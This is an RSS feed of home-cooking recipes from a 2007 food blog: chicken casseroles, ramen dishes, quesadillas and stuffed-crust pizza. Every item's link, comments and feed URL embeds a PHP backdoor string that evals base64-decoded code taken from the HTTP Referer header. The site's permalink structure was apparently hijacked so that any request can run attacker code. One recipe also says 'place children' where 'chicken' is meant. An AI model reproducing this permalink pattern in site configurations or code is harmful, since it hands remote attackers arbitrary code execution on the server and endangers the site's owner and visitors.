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	<title>Yumtio.us &#187; Main Dish</title>
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	<link>http://www.yumtio.us</link>
	<description>Recipes and restaurant reviews.</description>
	<lastBuildDate>Tue, 13 Nov 2007 08:18:44 +0000</lastBuildDate>
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			<item>
		<title>Homemade Chicken Casserole</title>
		<link>http://www.yumtio.us/2007/09/22/homemade-chicken-casserole/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.yumtio.us/2007/09/22/homemade-chicken-casserole/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 23 Sep 2007 00:20:06 +0000</pubDate>
		<dc:creator>Gary R. Hess</dc:creator>
				<category><![CDATA[Casserole]]></category>
		<category><![CDATA[Pasta]]></category>

		<guid isPermaLink="false">http://www.yumtio.us/main-dish/pasta/homemade-chicken-casserole</guid>
		<description><![CDATA[Ingredients
3-4 lb Chicken
1 1/2 c. diced celery
1 sm. onion (minced)
1 1/2 c. American cheese
1/2 tsp pepper
1/2 tsp salt
1 can chicken soup
4 c cracker crumbs
6c chicken broth
Directions

Cook chicken and remove from bones. Cut into small pieces.
Mix ingredients. Bake at 350&#176;F for 45 minutes.

]]></description>
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		<slash:comments>0</slash:comments>
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		<item>
		<title>Chicken Rice Casserole Recipe</title>
		<link>http://www.yumtio.us/2007/08/17/chicken-rice-casserole-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.yumtio.us/2007/08/17/chicken-rice-casserole-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 17 Aug 2007 21:54:36 +0000</pubDate>
		<dc:creator>Gary R. Hess</dc:creator>
				<category><![CDATA[Casserole]]></category>

		<guid isPermaLink="false">http://www.yumtio.us/main-dish/casserole/chicken-rice-casserole-recipe</guid>
		<description><![CDATA[Ingredients
1 c. milk
1 c. rice
2 cans cream of mushroom
1 lb. skinless, boneless chicken
1 pkg. dressing
Directions

In a greased pan, mix rice and cream of mushroom and place on bottom. Place chicken on top of mixture, followed by an already prepared box of dressing according to the directions on the box.
Bake, covered at 350&#176;F for 1hr 15m [...]]]></description>
		<wfw:commentRss>http://www.yumtio.us/2007/08/17/chicken-rice-casserole-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Oven Baked Chicken Parmesan Recipe</title>
		<link>http://www.yumtio.us/2007/08/17/oven-baked-chicken-parmesan/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.yumtio.us/2007/08/17/oven-baked-chicken-parmesan/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 17 Aug 2007 21:48:48 +0000</pubDate>
		<dc:creator>Gary R. Hess</dc:creator>
				<category><![CDATA[Poultry]]></category>

		<guid isPermaLink="false">http://www.yumtio.us/main-dish/poultry/oven-baked-chicken-parmesan</guid>
		<description><![CDATA[Ingredients
4 boneless skinless chicken breast halves, about 1/4lb
1 egg slightly beaten
1/4 c. Italian seasoning
dry bread crumbs
1 jar Prego pasta sauce
1 cup shredded mozzarella cheese
Directions

Preheat oven to 350&#176;F. Dip chicken in egg, coat with seasoning, crumbs, cheese and sauce.
Bake for 45 minutes to an hour at 350&#176;F or until chicken is done.

]]></description>
		<wfw:commentRss>http://www.yumtio.us/2007/08/17/oven-baked-chicken-parmesan/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Homemade Stuffed Crust Pizza Recipe</title>
		<link>http://www.yumtio.us/2007/08/17/homemade-stuffed-crust-pizza/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.yumtio.us/2007/08/17/homemade-stuffed-crust-pizza/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 17 Aug 2007 21:42:20 +0000</pubDate>
		<dc:creator>Gary R. Hess</dc:creator>
				<category><![CDATA[Main Dish]]></category>

		<guid isPermaLink="false">http://www.yumtio.us/main-dish/homemade-stuffed-crust-pizza</guid>
		<description><![CDATA[Ingredients
1 (10oz) can refrigerated pizza crust
7 pieces string cheese
1/2 cup prepared pizza sauce
20 slices of pepperoni (or your choice of topping)
4 oz shredded cheese (mozzarella is recommended)
Directions

Heat oven at 350&#176;F. Grease 13&#215;9 inch pan, unroll dough and press in bottom. Add 1 inch up the sides. Place pieces of string cheese around the edge, fold [...]]]></description>
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		<slash:comments>0</slash:comments>
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		<item>
		<title>Taco Casserole Recipe</title>
		<link>http://www.yumtio.us/2007/06/05/taco-casserole-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.yumtio.us/2007/06/05/taco-casserole-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 05 Jun 2007 06:15:03 +0000</pubDate>
		<dc:creator>Gary R. Hess</dc:creator>
				<category><![CDATA[Casserole]]></category>

		<guid isPermaLink="false">http://www.yumtio.us/main-dish/casserole/taco-casserole-recipe</guid>
		<description><![CDATA[Ingredients
1 lb ground beef
1 cup chopped onion
2 garlic cloves
1 cup water
1/2 cup taco sauce
4 oz green chillies, can
1 can sliced olives
1 package taco seasoning mix
1 package taco shells
2 cups mild cheddar cheese, shredded
1/4 cup tomatoes, chopped
1/8 cups green onions, sliced
Directions

Preheat oven to 350&#176;. Cook beef, onion and garlic until beef is browned. Stir in water, [...]]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Italian Ramen Soup Recipe</title>
		<link>http://www.yumtio.us/2007/04/23/italian-ramen-soup-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.yumtio.us/2007/04/23/italian-ramen-soup-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 24 Apr 2007 03:15:47 +0000</pubDate>
		<dc:creator>Gary R. Hess</dc:creator>
				<category><![CDATA[Soup]]></category>

		<guid isPermaLink="false">http://www.yumtio.us/main-dish/soup/italian-ramen-soup-recipe</guid>
		<description><![CDATA[Ingredients
2 pkg chicken flavor Ramen noodles
1 can cilantro and garlic tomato sauce
Directions

Cook both packages of Ramen. Drain, mix flavor packets with ramen.
Pour 1/2 can of tomato sauce over Ramen.
Stir, enjoy!

]]></description>
		<wfw:commentRss>http://www.yumtio.us/2007/04/23/italian-ramen-soup-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ramen Chicken Casserole Recipe</title>
		<link>http://www.yumtio.us/2007/04/16/ramen-chicken-casserole/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.yumtio.us/2007/04/16/ramen-chicken-casserole/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 16 Apr 2007 18:37:49 +0000</pubDate>
		<dc:creator>Gary R. Hess</dc:creator>
				<category><![CDATA[Poultry]]></category>

		<guid isPermaLink="false">http://www.yumtio.us/main-dish/poultry/ramen-chicken-casserole</guid>
		<description><![CDATA[Ingredients
1 pkg chicken flavor Ramen noodles
1 can cream of chicken soup
chicken, cut
Optional: peas, other vegetables
Directions

Fully cook chicken. Boil water, insert Ramen with flavor packet. Halfway through cooking process, add chicken and peas. Cook until noodles are done.
Drain liquid into a small bowl or cup, save for later. Add cream of chicken soup to noodles, cook [...]]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Chicken Quesadilla Recipe</title>
		<link>http://www.yumtio.us/2007/04/04/chicken-quesadilla-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.yumtio.us/2007/04/04/chicken-quesadilla-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 05 Apr 2007 01:28:05 +0000</pubDate>
		<dc:creator>Gary R. Hess</dc:creator>
				<category><![CDATA[Poultry]]></category>

		<guid isPermaLink="false">http://www.yumtio.us/main-dish/poultry/chicken-quesadilla-recipe</guid>
		<description><![CDATA[Ingredients
tortillas
chicken
1 can mexican style stewed tomatoes
pinch of pepper
butter can spray
mozzarella cheese
Directions

Grate cheese, keep at room temperature.
Cut chicken into small pieces.
Place chicken into skillet, cover bottom of pan with stewed tomatoes. If needed, cut tomatoes into small pieces. Add pepper.
Let chicken simmer at low to medium heat until chicken is no longer pink in middle. If [...]]]></description>
		<wfw:commentRss>http://www.yumtio.us/2007/04/04/chicken-quesadilla-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Green Tea Chicken Recipe</title>
		<link>http://www.yumtio.us/2007/04/04/green-tea-chicken-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.yumtio.us/2007/04/04/green-tea-chicken-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 05 Apr 2007 01:15:34 +0000</pubDate>
		<dc:creator>Gary R. Hess</dc:creator>
				<category><![CDATA[Poultry]]></category>

		<guid isPermaLink="false">http://www.yumtio.us/main-dish/poultry/green-tea-chicken-recipe</guid>
		<description><![CDATA[Ingredients
ice green tea
chicken breast, sliced in half
pinch of pepper
Directions

In a skillet, place children, pour tea onto chicken until the bottom of pan is covered and barely over chicken.
Sprinkle a pinch of pepper around chicken.
Place lid on skillet, let simmer at medium heat until chicken bottom is no longer pink. Turn, simmer until not pink.
Serve with [...]]]></description>
		<wfw:commentRss>http://www.yumtio.us/2007/04/04/green-tea-chicken-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mexican Chicken Recipe</title>
		<link>http://www.yumtio.us/2007/03/27/mexican-chicken-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.yumtio.us/2007/03/27/mexican-chicken-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 28 Mar 2007 01:30:47 +0000</pubDate>
		<dc:creator>Gary R. Hess</dc:creator>
				<category><![CDATA[Poultry]]></category>

		<guid isPermaLink="false">http://www.yumtio.us/main-dish/poultry/mexican-chicken-recipe</guid>
		<description><![CDATA[Ingredients
Boneless chicken
Chopped onion
Velveeta cheese, sliced
Doritos
1 can cream of chicken soup
1 can cream of mushroom soup
1 can rotel tomatoes
Directions

Bake chicken. Place chicken in a 9&#215;13in pan, layer with onions, cheese and Doritos. Mix together tomatoes and soup and pour over chicken.
Bake at 350&#176;F for 30 to 40 minutes.

]]></description>
		<wfw:commentRss>http://www.yumtio.us/2007/03/27/mexican-chicken-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
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